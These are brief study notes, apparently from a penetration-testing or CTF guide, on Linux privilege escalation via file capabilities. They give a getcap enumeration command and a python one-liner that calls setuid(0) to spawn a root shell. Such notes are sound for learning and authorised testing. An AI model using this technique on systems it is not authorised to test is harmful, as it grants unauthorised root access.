Capabilities

• Similar to suid but more secure.

Enumeration

• getcap -r / 2>/dev/null

Exploitation

• In our example the command to enumerate gave us /usr/bin/python2.6

• We just need to run python with a command that will give us root /usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
